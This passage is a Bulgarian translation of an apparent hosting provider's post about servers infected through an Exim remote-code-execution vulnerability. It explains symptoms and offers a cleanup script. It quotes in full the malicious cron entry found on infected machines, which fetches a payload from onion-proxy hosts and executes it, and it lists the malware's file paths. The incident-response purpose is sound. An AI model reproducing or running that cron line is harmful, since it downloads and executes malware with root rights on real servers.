вече предизвика голям фурор и сериозно опъна нервите на системните администратори по света.
В резултат на масовите инфекции (много от нашите клиенти използват Exim като пощенски сървър), бързо съставих скрипт за автоматизиране на решението на проблема. Скриптът далеч не е идеален и е пълен с неоптимален код, но е бързо решение за борба с избягването на извършването на едни и същи действия на стотици или дори хиляди сървъри.
Работи на сървъри с Centos, RHEL, Debian, Ubuntu OS с инсталиран пощенски сървър Exim.
Как да разбера, че сървърът е хакнат?
Проверете изпълняваните процеси с горна команда.
Заразените сървъри изпитват 100% натоварване от процеса [kthrotlds]. Освен това задача с ограничени права за редактиране се добавя към планировчика на cron.
Раздел Предупреждения
Всички инциденти с инфекция, с които се сблъскахме, бяха абсолютно идентични, втората и третата вълна може да се различават от тях - за тях може да се наложи промяна на скрипта. В момента на заразяването cron заданията се губят безвъзвратно и трябва да бъдат върнати ръчно. Скриптът "сече от рамото" - безстрашно актуализира Exim до закърпени версии, в случая на Centos 6 дори от тестовото хранилище. Екземплярът на зловреден софтуер седи в паметта, така че сървърът непременно Трябва да рестартирате веднага след почистване на короните.
Важно: Уязвимостта позволява кодът да се изпълнява като root, което не дава гаранция за 100% излекуване. С root достъп до сървър можете да скриете почти всичко на този сървър, така че да бъде почти невъзможно да го намерите. Единственият начин да се гарантира пълно излекуване на сървъра е да се извърши пълна преинсталация, но това не винаги е възможно. Ако няма възможност за преинсталиране на сървъра и симптомите съвпадат с описаните, можете да опитате бързо да закърпите дупките с този скрипт.
Като използвате скрипта, вие го правите на свой собствен риск: тествахме скрипта на редица сървъри, но винаги съществуват рискове от несъвместимост на софтуерните версии или конфликтни настройки.
Освен това нашият скрипт ни позволява да излекуваме само едно от възможните реализации на инфекцията - възможно е вече да има други начини за използване на уязвимостта, които не са привлекли вниманието ни.
Какво прави скриптът?
1. Ако операционната система е инсталирана на сървъра:
- Не Centos 6 актуализира Exim, преинсталира curl.
- Centos 6 — актуализира Exim от тестовото хранилище на EPEL (пускане в стандартни хранилища се очаква на 11-12.06), преинсталира curl.
2. Проверява за инфекция на сървъра.
Скриптът анализира задачите на планировчика за подозрителни включвания.Например тези:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2а. Ако има следи от вирусен скрипт в папката /etc, направете следното
- спира cron
- убива процеса, стартиран от скрипта на вируса
- убива curl wget sh процеси четири пъти (извършва се от вирус по график)
- изчиства пощенската опашка от всички писма (заразените писма са трудни за отделяне от безвредните, така че трябва да изтриете цялата опашка)
- Позволява изтриване на файлове, съдържащи фрагменти от зловреден скрипт:
/etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/[kthrotlds] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp - изтрива тези файлове
- премахва задачата за автоматично стартиране в /etc/rc.local
- премахва ключа на атакуващия от разрешените ssh ключове
- изпълнява cron
- и веднага рестартира сървъра
2б. Ако няма следи от инфекция, скриптът се прекратява.
Уточнения
Вирусът изтрива всички задачи на планировчика на cron. Следователно, след рестартиране на сървъра, те трябва да бъдат преконфигурирани или възстановени от резервно копие.
curl също се заразява с вирус, така че се преинсталира.
Рестартирането (скриптът го прави автоматично след лечението) е задължително - в противен случай зловредният софтуер остава в паметта на сървъра и се възпроизвежда на всеки 30 секунди дори след изтриване на заразените файлове.
Как да използвам?
Традиционно, преди да започнете, се уверете, че имате актуално резервно копие на вашите сървърни данни.
За да стартирате скрипта:
Свържете се със сървъра чрез ssh като потребител с root права. Можете също да използвате Shell клиента в панела ISPmanager - Инструменти.
В терминала въведете командата:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.shИзчакайте скриптът да завърши и сървърът да се рестартира.
След рестартиране проверете работата на сървъра и хостваните на него сайтове/приложения, преконфигурирайте или възстановете cron задачи от резервно копие.
И накрая
По същество сценарият е такъв временно решение за възстановяване на функционалността на сървъра, за гарантирана превенция, най-доброто решение е да преминете към нов сървър с версия на операционната система, която вече не съдържа уязвимостта.
Всички препоръки за подобряване/преработване на скрипта са добре дошли. Ако сте срещнали друг симптом на инфекция, моля, покажете го. Сътрудничеството по време на масови инфекции значително намалява времето, необходимо за елиминиране на тези инфекции.
На добър час!
UPD1: .
.
Източник: www.habr.com
